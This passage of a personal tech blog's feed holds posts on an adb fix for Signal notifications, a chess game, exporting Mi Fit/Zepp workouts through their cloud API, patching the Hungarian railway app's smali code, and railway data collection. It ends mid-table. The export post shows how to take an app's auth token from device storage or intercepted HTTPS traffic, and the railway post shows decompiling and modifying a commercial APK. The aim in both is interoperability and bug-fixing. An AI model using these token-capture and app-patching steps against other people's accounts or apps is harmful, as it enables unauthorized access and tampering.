&lt;p&gt;After checking the logs it turned out that the problem is related to Android&apos;s &lt;a href=&quot;https://developer.android.com/training/monitoring-device-state/doze-standby&quot;&gt;Doze&lt;/a&gt;. Even though the background restrictions were disabled for the application, it was not whitelisted for Doze.&lt;/p&gt;
&lt;p&gt;You can check the whitelist on your device by executing the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell dumpsys deviceidle whitelist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you cannot see &lt;code&gt;org.thoughtcrime.securesms&lt;/code&gt; on the whitelist, odds are you can fix the notifications by following the solution below.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;You can add Signal to the whitelist by executing the following command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell dumpsys deviceidle whitelist +org.thoughtcrime.securesms
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will disable Doze for Signal, and the notifications should appear immediately regardless of the state of your screen.&lt;/p&gt;
</content:encoded></item><item><title>Chess.BR - The Battle Royale Chess for Android</title><link>https://fuwari.vercel.app/posts/battle-royale-chess/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/battle-royale-chess/</guid><description>Classic chess too boring? How about a shrinking chess board?</description><pubDate>Fri, 12 Mar 2021 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;In 2019, way before the success of &lt;a href=&quot;https://www.imdb.com/title/tt10048342/&quot;&gt;The Queen&apos;s Gambit&lt;/a&gt;, a wild idea appeared. Everybody was playing &lt;a href=&quot;https://en.wikipedia.org/wiki/Battle_royale_game&quot;&gt;battle royale games&lt;/a&gt; at that time, and I&apos;ve been mostly playing chess, so what if we combined these two genres together? I talked about the idea with my colleagues, and they also found it interesting. A prototype was made, the mechanics turned out to be enjoyable, therefore I teamed up with &lt;a href=&quot;https://mach-one.hu/moczi/index.html&quot;&gt;András Móczi&lt;/a&gt; to create an MVP for a public release and see what others think about the game. Unfortunately, the initial enthusiasm faded away when COVID-19 hit, but observing the most recent hype around chess, it was not even a question that we should finish the project. Here are the results:&lt;/p&gt;
&lt;h2&gt;Promotion&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./promotion/screenshot_mobile_01.png&quot; alt=&quot;promotion-1&quot; title=&quot;Classic chess with a twist...&quot; /&gt;
&lt;img src=&quot;./promotion/screenshot_mobile_02.png&quot; alt=&quot;promotion-2&quot; title=&quot;Same rules but the board is...&quot; /&gt;
&lt;img src=&quot;./promotion/screenshot_mobile_03.png&quot; alt=&quot;promotion-3&quot; title=&quot;Shrinking and shrinking...&quot; /&gt;
&lt;img src=&quot;./promotion/screenshot_mobile_04.png&quot; alt=&quot;promotion-4&quot; title=&quot;And of course Shrinking...&quot; /&gt;
&lt;img src=&quot;./promotion/screenshot_mobile_05.png&quot; alt=&quot;promotion-5&quot; title=&quot;Rethink the way you play chess.&quot; /&gt;
&lt;img src=&quot;./promotion/screenshot_mobile_06.png&quot; alt=&quot;promotion-6&quot; title=&quot;This game is hard. You&apos;ve been warned.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;In Chess.BR you can play the classic chess game with a modern twist. Using the popular battle royale game mechanics, you are set against a computer opponent on a constantly shrinking play area.&lt;/p&gt;
&lt;p&gt;◾ Know Queen&apos;s Gambit by heart? Change the difficulty of the gameplay if you love to have a hard time.&lt;/p&gt;
&lt;p&gt;◽ The app lets you choose the way how you lose - play with Black or White pieces and set the game timer to your preference.&lt;/p&gt;
&lt;p&gt;◾ Do not get too comfortable with your progress in game. Every few turns the chess board will get smaller and smaller... any pieces you lose the shrinking play area are lost forever, much like your chance to win afterwards.&lt;/p&gt;
&lt;p&gt;◽ Did we mention that the game is hard?&lt;/p&gt;
&lt;h2&gt;Technical details&lt;/h2&gt;
&lt;p&gt;The main motivation of the project was to improve ourselves besides our everyday duties. András (as a designer) wanted to learn more about Android development by using Android Studio, and I (as a traditional software developer) wanted to involve myself with AI.&lt;/p&gt;
&lt;p&gt;In order to meet both of our goals, we&apos;ve decided to create an Android application for the MVP, and to think about the cross-platform requirements later on should the release be successful.&lt;/p&gt;
&lt;p&gt;The project is based on &lt;a href=&quot;https://github.com/jcarolus&quot;&gt;Jeroen Carolus&lt;/a&gt;&apos;s &lt;a href=&quot;https://github.com/jcarolus/android-chess&quot;&gt;android-chess&lt;/a&gt; application, which contains a &lt;a href=&quot;https://choosealicense.com/licenses/mit/&quot;&gt;MIT-licensed&lt;/a&gt; chess engine written in C++. This engine was extended with the business logic required for the battle royale game mode and we also created an application from scratch with custom made design.&lt;/p&gt;
</content:encoded></item><item><title>Export Mi Fit and Zepp workout data</title><link>https://fuwari.vercel.app/posts/export-mi-fit-and-zepp-workout-data/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/export-mi-fit-and-zepp-workout-data/</guid><description>A tutorial about exporting workout data from Mi Fit and Zepp (formerly Amazfit) applications.</description><pubDate>Fri, 06 Nov 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The two most popular companion applications for the &lt;a href=&quot;https://www.mi.com/global/mi-smart-band-5/&quot;&gt;Mi Smart Band 5&lt;/a&gt; are &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.xiaomi.hm.health&amp;amp;hl=en_US&amp;amp;gl=US&quot;&gt;Mi Fit&lt;/a&gt; and &lt;a href=&quot;https://play.google.com/store/apps/details?id=com.huami.watch.hmwatchmanager&amp;amp;hl=en_US&amp;amp;gl=US&quot;&gt;Zepp&lt;/a&gt;. Both applications support the tracking of different kinds of workouts, however they do not allow the user to export the collected data for further analysis. Due to the &lt;a href=&quot;https://en.wikipedia.org/wiki/General_Data_Protection_Regulation&quot;&gt;General Data Protection Regulation&lt;/a&gt; (GDPR) users may download their personal data from both applications, but the resulting archive does not contain workout specific data. The Zepp application also allows the user to export workouts one-by-one in &lt;a href=&quot;https://en.wikipedia.org/wiki/GPS_Exchange_Format&quot;&gt;.gpx&lt;/a&gt; format, but it does not contain all the available data and it is infeasible to export thousands of workouts manually.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./mifit-screenshot.png&quot; alt=&quot;application-screenshot-1&quot; title=&quot;Screenshot of the Mi Fit application (from Google Play)&quot; /&gt;
&lt;img src=&quot;./zepp-screenshot.png&quot; alt=&quot;application-screenshot-2&quot; title=&quot;Screenshot of the Zepp application (from Google Play)&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;API&lt;/h2&gt;
&lt;p&gt;Both applications synchronize the workouts to the cloud, which should make it easy to investigate the HTTP requests and responses. My favorite web debugging proxy tool is Telerik&apos;s &lt;a href=&quot;https://www.telerik.com/fiddler&quot;&gt;Fiddler&lt;/a&gt; which is able to decrypt HTTPS traffic originating from mobile devices. There is also a good &lt;a href=&quot;https://docs.telerik.com/fiddler/Configure-Fiddler/Tasks/ConfigureForAndroid&quot;&gt;tutorial&lt;/a&gt; available which explains how to set up your devices.&lt;/p&gt;
&lt;h3&gt;Application token&lt;/h3&gt;
&lt;p&gt;The endpoints of the API require a user context for which an authorization token is needed. There are at least two ways to extract the token, for which you will need to log in to the application first.&lt;/p&gt;
&lt;p&gt;If you have root access on your Android device, you can find the token at &lt;code&gt;/data/data/com.xiaomi.hm.health/shared_prefs/hm_id_sdk_android.xml&lt;/code&gt; (Mi Fit) or &lt;code&gt;/data/data/com.huami.watch.hmwatchmanager/shared_prefs/hm_id_sdk_android.xml&lt;/code&gt; (Zepp). These files can be accessed via a file manager, or via ADB shell (Android 11+).&lt;/p&gt;
&lt;p&gt;If you do not have root access, you can use &lt;a href=&quot;https://www.telerik.com/fiddler&quot;&gt;Fiddler&lt;/a&gt; or &lt;a href=&quot;https://httptoolkit.tech/&quot;&gt;HTTP Toolkit&lt;/a&gt; to analyze the requests sent by the application, which contain the exact same &lt;code&gt;apptoken&lt;/code&gt; header, which is required by the endpoints discussed below.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./fiddler-header.png&quot; alt=&quot;fiddler-header&quot; title=&quot;Screenshot of the apptoken header in Fiddler&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Workout history&lt;/h3&gt;
&lt;p&gt;By analyzing the traffic of the application, it turned out the following endpoint returns the metadata of all workouts:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://api-mifit-de2.huami.com/v1/sport/run/history.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It requires the following header:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Example value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;apptoken&lt;/td&gt;
&lt;td&gt;DQVBQE...WHtrY&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;And the following GET parameter:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Example value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;source&lt;/td&gt;
&lt;td&gt;&quot;run.mifit.huami.com&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In Python:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def get_history():
    r = requests.get(&apos;https://api-mifit-de2.huami.com/v1/sport/run/history.json&apos;, headers={
        &apos;apptoken&apos;: token
    }, params={
        &apos;source&apos;: &apos;run.mifit.huami.com&apos;,
    })
    r.raise_for_status()

    return r.json()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The response is a list of metadata corresponding to the workouts that were recorded in the requested interval. The format of a workout metadata is as follows (the values were redacted):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;code&quot;: 1,
  &quot;message&quot;: &quot;success&quot;,
  &quot;data&quot;: {
    &quot;summary&quot;: [
      {
        &quot;trackid&quot;: &quot;1234567890&quot;,
        &quot;source&quot;: &quot;run.mifit.huami.com&quot;,
        &quot;dis&quot;: &quot;0.0&quot;,
        &quot;calorie&quot;: &quot;0.0&quot;,
        &quot;end_time&quot;: &quot;0&quot;,
        &quot;run_time&quot;: &quot;0&quot;,
        &quot;avg_pace&quot;: &quot;0.0&quot;,
        &quot;avg_frequency&quot;: &quot;0.0&quot;,
        &quot;avg_heart_rate&quot;: &quot;0.0&quot;,
        &quot;type&quot;: 0,
        &quot;location&quot;: &quot;&quot;,
        &quot;city&quot;: &quot;&quot;,
        &quot;forefoot_ratio&quot;: &quot;&quot;,
        &quot;bind_device&quot;: &quot;&quot;,
        &quot;max_pace&quot;: 0,
        &quot;min_pace&quot;: 0,
        &quot;version&quot;: 0,
        &quot;altitude_ascend&quot;: 0,
        &quot;altitude_descend&quot;: 0,
        &quot;total_step&quot;: 0,
        &quot;avg_stride_length&quot;: 0,
        &quot;max_frequency&quot;: 0,
        &quot;max_altitude&quot;: 0,
        &quot;min_altitude&quot;: 0,
        &quot;lap_distance&quot;: 0,
        &quot;sync_to&quot;: &quot;&quot;,
        &quot;distance_ascend&quot;: 0,
        &quot;max_cadence&quot;: 0,
        &quot;avg_cadence&quot;: 0,
        &quot;landing_time&quot;: 0,
        &quot;flight_ratio&quot;: 0,
        &quot;climb_dis_descend&quot;: 0,
        &quot;climb_dis_ascend_time&quot;: 0,
        &quot;climb_dis_descend_time&quot;: 0,
        &quot;child_list&quot;: &quot;&quot;,
        &quot;parent_trackid&quot;: 0,
        &quot;max_heart_rate&quot;: 0,
        &quot;min_heart_rate&quot;: 0,
        &quot;swolf&quot;: 0,
        &quot;total_strokes&quot;: 0,
        &quot;total_trips&quot;: 0,
        &quot;avg_stroke_speed&quot;: 0,
        &quot;max_stroke_speed&quot;: 0,
        &quot;avg_distance_per_stroke&quot;: 0,
        &quot;swim_pool_length&quot;: 0,
        &quot;te&quot;: 0,
        &quot;swim_style&quot;: 0,
        &quot;unit&quot;: 0,
        &quot;add_info&quot;: &quot;&quot;,
        &quot;sport_mode&quot;: 0,
        &quot;downhill_num&quot;: 0,
        &quot;downhill_max_altitude_desend&quot;: 0
      }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Workout detail&lt;/h3&gt;
&lt;p&gt;For each workout metadata the corresponding detail can be queried by using the following endpoint:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;https://api-mifit-de2.huami.com/v1/sport/run/detail.json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It also requires the &lt;code&gt;apptoken&lt;/code&gt; header and the above-mentioned GET parameter with an additional identifier:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Key&lt;/th&gt;
&lt;th&gt;Example value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;trackid&lt;/td&gt;
&lt;td&gt;123456789&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In Python:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def get_detail(track_id, source):
    r = requests.get(&apos;https://api-mifit-de2.huami.com/v1/sport/run/detail.json&apos;, headers={
        &apos;apptoken&apos;: token
    }, params={
        &apos;trackid&apos;: track_id,
        &apos;source&apos;: source,
    })
    r.raise_for_status()

    return r.json()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The response contains the detail of the requested workout, including the location information. The format of a detailed workout is as follows (the values were redacted):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;code&quot;: 1,
  &quot;message&quot;: &quot;success&quot;,
  &quot;data&quot;: {
    &quot;trackid&quot;: 1234567890,
    &quot;source&quot;: &quot;run.mifit.huami.com&quot;,
    &quot;longitude_latitude&quot;: &quot;0,0;...&quot;,
    &quot;altitude&quot;: &quot;0;...&quot;,
    &quot;accuracy&quot;: &quot;0;...&quot;,
    &quot;time&quot;: &quot;0;...&quot;,
    &quot;gait&quot;: &quot;0,0,0,0;...&quot;,
    &quot;pace&quot;: &quot;0.0;...&quot;,
    &quot;pause&quot;: &quot;&quot;,
    &quot;spo2&quot;: &quot;&quot;,
    &quot;flag&quot;: &quot;0;...&quot;,
    &quot;kilo_pace&quot;: &quot;&quot;,
    &quot;mile_pace&quot;: &quot;&quot;,
    &quot;heart_rate&quot;: &quot;0,0;...&quot;,
    &quot;version&quot;: 0,
    &quot;provider&quot;: &quot;&quot;,
    &quot;speed&quot;: &quot;0,0.0;...&quot;,
    &quot;bearing&quot;: &quot;&quot;,
    &quot;distance&quot;: &quot;0,0;...&quot;,
    &quot;lap&quot;: &quot;&quot;,
    &quot;air_pressure_altitude&quot;: &quot;&quot;,
    &quot;course&quot;: &quot;&quot;,
    &quot;correct_altitude&quot;: &quot;&quot;,
    &quot;stroke_speed&quot;: &quot;&quot;,
    &quot;cadence&quot;: &quot;&quot;,
    &quot;daily_performance_info&quot;: &quot;&quot;,
    &quot;rope_skipping_frequency&quot;: &quot;&quot;,
    &quot;weather_info&quot;: &quot;&quot;,
    &quot;coaching_segment&quot;: &quot;&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Summary&lt;/h2&gt;
&lt;p&gt;An example Python implementation can be found on GitHub:&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;rolandsz/Mi-Fit-and-Zepp-workout-exporter&quot;}&lt;/p&gt;
</content:encoded></item><item><title>Resolve &quot;Request could not be fulfilled&quot; error upon payment in Hungarian State Railways&apos; Android application</title><link>https://fuwari.vercel.app/posts/resolve-request-could-not-be-fulfilled-error/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/resolve-request-could-not-be-fulfilled-error/</guid><description>A case study about fixing an issue that prevents numerous people from buying tickets in the official Android application of Hungarian State Railways.</description><pubDate>Thu, 10 Sep 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Hungarian State Railways released their &lt;a href=&quot;https://play.google.com/store/apps/details?id=hu.mavszk.vonatinfo&amp;amp;hl=en&quot;&gt;Android application&lt;/a&gt; back in 2018, which is a convenient alternative to &lt;a href=&quot;https://elvira.mav-start.hu/&quot;&gt;Elvira&lt;/a&gt; for browsing the schedule and buying tickets. In 2019, the application was revamped which introduced a mysterious error for some users (including myself) that would always interrupt the payment process without any straight-forward reason. In the meantime, I reverted to using Elvira instead of the application while hoping for the arrival of an official fix.&lt;/p&gt;
&lt;p&gt;A few days ago I tried to buy a ticket on Elvira, but the system would not let me log in anymore due to &quot;having&quot; invalid characters in my perfectly valid email address.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Invalid input!
Don&apos;t use following charachters in the input fields: [()]&apos;&amp;lt;&amp;gt;%&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After this unfortunate experience, I decided it was time to move on and find out why the application is not working.&lt;/p&gt;
&lt;h2&gt;The mysterious error&lt;/h2&gt;
&lt;p&gt;According to my personal experience and the reviews posted on &lt;a href=&quot;https://play.google.com/store/apps/details?id=hu.mavszk.vonatinfo&amp;amp;hl=en&amp;amp;showAllReviews=true&quot;&gt;Google Play&lt;/a&gt;, the error appears when the user is redirected from the application to the &lt;a href=&quot;https://simplepay.hu/&quot;&gt;payment processor&lt;/a&gt;&apos;s website.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./request-could-not-be-fulfilled-error.png&quot; alt=&quot;request_could_not_be_fulfilled_error&quot; title=&quot;Request could not be fulfilled error&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The error is kind of weird, because apparently the payment processor&apos;s page is rendered correctly in the background and the only thing that prevents the user from using it is the appearing dialog which ultimately interrupts the payment process upon clicking the &lt;em&gt;OK&lt;/em&gt; button.&lt;/p&gt;
&lt;h2&gt;Investigation&lt;/h2&gt;
&lt;p&gt;First, I downloaded the APK file of the application and extracted it using &lt;a href=&quot;https://ibotpeaches.github.io/Apktool/&quot;&gt;apktool&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS X:\MAV&amp;gt; apktool d hu.mavszk.vonatinfo_2020-08-31.apk
I: Using Apktool 2.4.1 on hu.mavszk.vonatinfo_2020-08-31.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: X:\apktool\framework\1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After the extraction of the application files I ran a quick search for the string &lt;em&gt;simplepay&lt;/em&gt; and determined which .smali files implement the functionality. Due to copyright reasons I am not going to include the decompiled code here, but if you are interested, you can easily find the error handler function of the &lt;a href=&quot;https://developer.android.com/reference/android/webkit/WebViewClient&quot;&gt;WebViewClient&lt;/a&gt; in the .smali files.&lt;/p&gt;
&lt;p&gt;Next, I replaced the body of the error handler function with some simple logging:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) {
  Log.i(&quot;MAV&quot;, view.getUrl());
  Log.i(&quot;MAV&quot;, request.getMethod());
  Log.i(&quot;MAV&quot;, request.getUrl().toString());
  Log.i(&quot;MAV&quot;, String.valueOf(error.getErrorCode()));
  Log.i(&quot;MAV&quot;, error.getDescription().toString());
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# virtual methods
.method public onReceivedError(Landroid/webkit/WebView;Landroid/webkit/WebResourceRequest;Landroid/webkit/WebResourceError;)V
  .locals 2
  .param p1, &quot;view&quot;    # Landroid/webkit/WebView;
  .param p2, &quot;request&quot;    # Landroid/webkit/WebResourceRequest;
  .param p3, &quot;error&quot;    # Landroid/webkit/WebResourceError;
  
  .line 10
  const-string v0, &quot;MAV&quot;
  
  invoke-virtual {p1}, Landroid/webkit/WebView;-&amp;gt;getUrl()Ljava/lang/String;
  
  move-result-object v1
  
  invoke-static {v0, v1}, Landroid/util/Log;-&amp;gt;i(Ljava/lang/String;Ljava/lang/String;)I
  
  .line 11
  const-string v0, &quot;MAV&quot;
  
  invoke-interface {p2}, Landroid/webkit/WebResourceRequest;-&amp;gt;getMethod()Ljava/lang/String;
  
  move-result-object v1
  
  invoke-static {v0, v1}, Landroid/util/Log;-&amp;gt;i(Ljava/lang/String;Ljava/lang/String;)I
  
  .line 12
  const-string v0, &quot;MAV&quot;
  
  invoke-interface {p2}, Landroid/webkit/WebResourceRequest;-&amp;gt;getUrl()Landroid/net/Uri;
  
  move-result-object v1
  
  invoke-virtual {v1}, Landroid/net/Uri;-&amp;gt;toString()Ljava/lang/String;
  
  move-result-object v1
  
  invoke-static {v0, v1}, Landroid/util/Log;-&amp;gt;i(Ljava/lang/String;Ljava/lang/String;)I
  
  .line 13
  const-string v0, &quot;MAV&quot;
  
  invoke-virtual {p3}, Landroid/webkit/WebResourceError;-&amp;gt;getErrorCode()I
  
  move-result v1
  
  invoke-static {v1}, Ljava/lang/String;-&amp;gt;valueOf(I)Ljava/lang/String;
  
  move-result-object v1
  
  invoke-static {v0, v1}, Landroid/util/Log;-&amp;gt;i(Ljava/lang/String;Ljava/lang/String;)I
  
  .line 14
  const-string v0, &quot;MAV&quot;
  
  invoke-virtual {p3}, Landroid/webkit/WebResourceError;-&amp;gt;getDescription()Ljava/lang/CharSequence;
  
  move-result-object v1
  
  invoke-interface {v1}, Ljava/lang/CharSequence;-&amp;gt;toString()Ljava/lang/String;
  
  move-result-object v1
  
  invoke-static {v0, v1}, Landroid/util/Log;-&amp;gt;i(Ljava/lang/String;Ljava/lang/String;)I
  
  .line 15
  return-void
.end method
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To my surprise, I successfully managed to buy a ticket just by replacing the error function with some simple logging, but the root cause of the problem was still unknown.&lt;/p&gt;
&lt;h2&gt;Root cause&lt;/h2&gt;
&lt;p&gt;The output of &lt;a href=&quot;https://developer.android.com/studio/command-line/logcat&quot;&gt;Logcat&lt;/a&gt; clearly shows that the problem is related to the loading of the &lt;a href=&quot;https://analytics.google.com/analytics/web/&quot;&gt;Google Analytics&lt;/a&gt; library.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;12755 I MAV: https://securepay.simplepay.hu/pay/pay/pspHU/[redacted]
12755 I MAV: GET
12755 I MAV: https://www.google-analytics.com/analytics.js
12755 I MAV: -6
12755 I MAV: net::ERR_CONNECTION_REFUSED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The connection refused error is most likely caused by an adblocker present either on the device or on the network.&lt;/p&gt;
&lt;p&gt;But why does the unavailability of the Google Analytics library prevents the placement of a new ticket order? I think a plausible explanation is the deprecation of the old error handler at API level 23.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&quot;https://developer.android.com/reference/android/webkit/WebViewClient#onReceivedError(android.webkit.WebView,%20int,%20java.lang.String,%20java.lang.String)&quot;&gt;documentation of the old (&amp;lt; API level 23) WebViewClient error handler&lt;/a&gt; claims that the function is only called for unrecoverable errors:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void onReceivedError (WebView view, int errorCode, String description, String failingUrl)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Report an error to the host application. These errors are unrecoverable (i.e. the main resource is unavailable). The errorCode parameter corresponds to one of the ERROR_* constants.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;However, according to the &lt;a href=&quot;https://developer.android.com/reference/android/webkit/WebViewClient#onReceivedError(android.webkit.WebView,%20android.webkit.WebResourceRequest,%20android.webkit.WebResourceError)&quot;&gt;documentation of the new (≥ API level 23) WebViewClient error handler&lt;/a&gt;, it behaves differently as it is called for every single resource on the website:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public void onReceivedError (WebView view, WebResourceRequest request, WebResourceError error)
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Report web resource loading error to the host application. These errors usually indicate inability to connect to the server. Note that unlike the deprecated version of the callback, &lt;strong&gt;the new version will be called for any resource (iframe, image, etc.), not just for the main page.&lt;/strong&gt; Thus, it is recommended to perform minimum required work in this callback.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I suspect that the upgrade of the error handler function from the deprecated version to the newer one was made without taking a proper look at the documentation, which introduced this error for numerous users. I would consider this to be a serious problem as it effectively prevents some users from purchasing tickets via the application, which inherently reduces the revenue.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;As a quick workaround, I wrapped the body of the original error handler function in a condition which prevents the cancellation of the payment process when the error equals to net::ERR_CONNECTION_REFUSED.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.method public final onReceivedError(Landroid/webkit/WebView;Landroid/webkit/WebResourceRequest;Landroid/webkit/WebResourceError;)V
  .locals 3
  
  invoke-virtual {p3}, Landroid/webkit/WebResourceError;-&amp;gt;getErrorCode()I
  
  move-result v2
  
  const/4 v1, -0x6
  
  if-eq v2, v1, :connection_error

  [redacted original code]
  
  goto :return
  
  :connection_error
  nop
  
  :return
  return-void
.end method
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Automatization&lt;/h2&gt;
&lt;p&gt;I created a CI pipeline on &lt;a href=&quot;https://gitlab.com/&quot;&gt;GitLab&lt;/a&gt; which automatically downloads the &lt;a href=&quot;https://www.apkmonk.com/app/hu.mavszk.vonatinfo/&quot;&gt;latest APK&lt;/a&gt; and patches it. The pipeline runs periodically and produces an up-to-date APK which can be installed on devices. Due to copyright reasons, I am not going to publish the patched APK but you should be able to reproduce the results by following the ideas presented in this article.&lt;/p&gt;
</content:encoded></item><item><title>Collection of railway traffic data</title><link>https://fuwari.vercel.app/posts/collection-of-railway-traffic-data/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/collection-of-railway-traffic-data/</guid><description>A short summary of the data collection process I have been using since the beginning of 2019 in order to acquire a railway traffic dataset.</description><pubDate>Fri, 26 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Traffic itself can be a huge challenge for most commuters regardless of the transportation method of their choice. For example, it is inevitable to experience delays and congestion during rush hours. All commute methods have their own specific characteristics when it comes to delays - cars and buses suffer from traffic jams and similar principles apply to railways as well. However, the causes of railway delays are not that straightforward, and they need further investigation. According to my personal experience most passengers are not aware of the reasons behind train delays even though they are usually encountered multiple times a day. In order to have a clearer understanding, I have started to collect data from various sources at the beginning of 2019.&lt;/p&gt;
&lt;h2&gt;Traffic dataset&lt;/h2&gt;
&lt;p&gt;I found that the most reliable publicly available data source for traffic is the &lt;a href=&quot;http://vonatinfo.mav-start.hu/&quot;&gt;official map of Hungarian State Railways&lt;/a&gt;, where all trains can be tracked in real-time. The official map uses &lt;a href=&quot;https://www.google.com/maps&quot;&gt;Google Maps&lt;/a&gt; to display the currently traveling trains. The trains are color-coded depending on their delays - green means the delay is less than or equal to 5 minutes, yellow means the delay is between 6-14 minutes, orange means the delay is between 15-59 minutes and red means the delay is above 1 hour.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./vonatinfo_screenshot.png&quot; alt=&quot;vonatinfo_screenshot&quot; title=&quot;Real-time map of Hungarian State Railways&quot; /&gt;&lt;/p&gt;
&lt;p&gt;A &lt;em&gt;snapshot&lt;/em&gt; of the map contains the following information about each of the trains that were active at the time the snapshot was taken in JSON format:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field name&lt;/th&gt;
&lt;th&gt;Example value&lt;/th&gt;
&lt;th&gt;Note&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;@CreationTime&lt;/td&gt;
&lt;td&gt;&quot;2020.06.25 17:41:05&quot;&lt;/td&gt;
&lt;td&gt;Timestamp of the snapshot&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;@ElviraID&lt;/td&gt;
&lt;td&gt;&quot;5740486_200625&quot;&lt;/td&gt;
&lt;td&gt;Daily unique ID of a given train&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;@Menetvonal&lt;/td&gt;
&lt;td&gt;&quot;MAV&quot;&lt;/td&gt;
&lt;td&gt;Operator of a given train&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;@Line&lt;/td&gt;
&lt;td&gt;&quot;100&quot;&lt;/td&gt;
&lt;td&gt;Current &lt;a href=&quot;https://en.wikipedia.org/wiki/List_of_railway_lines_in_Hungary&quot;&gt;railway line&lt;/a&gt; of a given train&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;@TrainNumber&lt;/td&gt;
&lt;td&gt;&quot;552761&quot;&lt;/td&gt;
&lt;td&gt;Unique ID of a given train&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;@Relation&lt;/td&gt;
&lt;td&gt;&quot;Monor - Budapest-Nyugati&quot;&lt;/td&gt;
&lt;td&gt;Terminals of a given train&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;@Lat&lt;/td&gt;
&lt;td&gt;47.48300&lt;/td&gt;
&lt;td&gt;Current latitude of a given train&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
